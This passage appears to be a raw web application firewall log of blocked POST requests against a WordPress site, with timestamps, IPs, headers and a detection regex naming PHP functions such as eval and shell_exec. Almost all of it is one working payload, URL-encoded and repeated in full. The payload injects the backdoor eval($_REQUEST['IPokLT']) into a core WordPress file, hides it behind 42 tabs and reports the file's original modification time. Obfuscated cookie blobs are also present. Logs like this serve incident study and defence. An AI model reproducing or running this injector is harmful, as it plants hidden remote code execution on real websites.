Sx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2053\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nSx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:12","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2053\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nuq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:15","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2053\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nDQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:16","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Oc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2053\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nOc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:18","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2053\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nKP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:20","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-paused-extensions-storage.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IPokLT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\